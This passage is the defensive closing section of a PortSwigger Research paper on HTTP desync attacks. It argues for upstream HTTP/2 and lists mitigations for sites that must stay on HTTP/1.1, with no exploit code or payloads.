HTTP/1.1. The total bounties earned from this research so far currently stands at slightly over
$350,000.



Defending against HTTP desync attacks

Why patching HTTP/1.1 is not enough
All the attacks in this paper are exploiting implementation flaws, so it might seem strange to
conclude that the solution is to abandon the entire protocol. However, all these attacks have the
same root cause. HTTP/1.1's fatal flaw - poor request separation - means tiny bugs often have
critical impact. This is compounded by two key factors.

First, HTTP/1.1 is only simple if you're not proxying. The RFC contains numerous landmines like
the three different ways of specifying the length of a message, complexity bombs like Expect and
Connection, and special-cases like HEAD. These all interact with each-other, and parser
discrepancies, to create countless critical vulnerabilities.

Second, the last six years have proven that we struggle to apply the types of patching and
hardening that would truly resolve the threat. Applying robust validation or normalisation on front-
end servers would help, but we're too afraid of breaking compatibility with legacy clients to do this.
Instead, we resort to regex-based defences, which attackers can easily bypass.

All these factors combine to mean one thing - more desync attacks are coming.

How secure is HTTP/2 compared to HTTP/1?
HTTP/2 is not perfect - it's significantly more complex than HTTP/1, and can be painful to
implement. However, upstream HTTP/2+ makes desync vulnerabilities vastly less likely. This is
because HTTP/2 is a binary protocol, much like TCP and TLS, with zero ambiguity about the length
of each message. You can expect implementation bugs, but the probability that a given bug is
actually exploitable is significantly lower.

Most vulnerabilities found in HTTP/2 implementations to date are DoS flaws such as HTTP/2 Rapid
Reset33 - an attack class that HTTP/1 has its fair share of. For a more serious vulnerability, you
would typically need a memory safety issue or integer overflow as a root cause. Once again, these
issues affect HTTP/1.1 implementations too. Of course, there's always exceptions - like CVE-2023-
3273134 and HTTP/3 connection contamination35 - and I look forward to seeing more research
targeting these in the future.

Note that HTTP/2 downgrading, where front-end servers speak HTTP/2 with clients but rewrite it as
HTTP/1.1 for upstream communication, provides minimal security benefit and actually makes
websites more exposed to desync attacks.

You might encounter an argument stating that HTTP/1.1 is more secure than HTTP/2 because
HTTP/1.1 implementations are older, and therefore more hardened. To counter this, I would like to
draw a comparison between request smuggling, and buffer overflows. Request smuggling has
been a well known threat for roughly six years. This means our defences against it are roughly as
mature as our defences against buffer overflows were in 2002. It's time to switch to a memory safe
language.

https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
https://blog.cloudflare.com/technical-breakdown-http2-rapid-reset-ddos-attack/
https://nvd.nist.gov/vuln/detail/cve-2023-32731
https://nvd.nist.gov/vuln/detail/cve-2023-32731
https://portswigger.net/research/http-3-connection-contamination


How to defeat request smuggling with HTTP/2
First, ensure your origin server supports HTTP/2. Most modern servers do, so this shouldn't be a
problem.

Next, toggle upstream HTTP/2 on your proxies. I've confirmed this is possible on the following
vendors: HAProxy, F5 Big-IP, Google Cloud, Imperva, Apache (experimental), and Cloudflare (but
they use HTTP/1 internally).

Unfortunately, the following vendors have not yet added support for upstream HTTP/2: nginx,
Akamai, CloudFront, Fastly. Try raising a support ticket asking when they'll enable upstream
HTTP/2 - hopefully they can at least provide a timeline. Also, have a look through their
documentation to see if you can enable request normalisation - sometimes valuable mitigations are
available but disabled by default.

Note that disabling HTTP/1 between the browser and the front-end is not required. These
connections are rarely shared between different users and, as a result, they're significantly less
dangerous. Just ensure they're converted to HTTP/2 upstream.

How to survive with HTTP/1.1
If you're currently stuck with upstream HTTP/1.1, there are some strategies you can use to try and
help your website survive the inevitable future rounds of desync attacks until you can start using
HTTP/2.

Enable all available normalization and validation options on the front-end server
Enable validation options on the back-end server
Avoid niche webservers - Apache and nginx are lower-risk
Perform regular scans with HTTP Request Smuggler
Disable upstream connection reuse (may impact performance)
Reject requests that have a body, if the method doesn't require one to be present
(GET/HEAD/OPTIONS)

Finally, please be wary of vendor claims that WAFs can thwart desync attacks as effectively as
upstream HTTP/2.

How you can help kill HTTP/1.1
Right now, the biggest barrier to killing upstream HTTP/1 is poor awareness of how dangerous it is.
Hopefully this research will help a bit, but to make a lasting difference and ensure we're not in
exactly the same place in six years time, I need your help.

We need to collectively show the world how broken HTTP/1.1 is. Take HTTP Request Smuggler 3.0
for a spin, hack systems and get them patched with HTTP/2. Whenever possible, publish your
findings so the rest of us can learn from it. Don't let targets escape you just by patching the
methodology - adapt and customise techniques and tools, and never settle for the state of the art.
It's not as hard as you think, and you definitely don't need years of research experience. For
example, while wrapping this research up I realised a writeup published last year actually describes
an Expect-based 0.CL desync36, so you could have beaten me to these findings just by reading and
applying that!

Finally, share the message - more desync attacks are always coming.

https://mattermost.com/blog/a-dos-bug-thats-worse-than-it-seems/
https://mattermost.com/blog/a-dos-bug-thats-worse-than-it-seems/


Conclusion
Over the last six years, we've seen that a design flaw in HTTP/1.1 regularly exposes websites to
critical attacks. Attempts to hotfix individual implementations have failed to keep pace with the
threat, and the only viable long-term solution is upstream HTTP/2. This is not a quick fix, but by
spreading awareness just how dangerous upstream HTTP/1.1 really is, we can help kill HTTP/1.1.

Good luck!

James Kettle

PortSwigger Research
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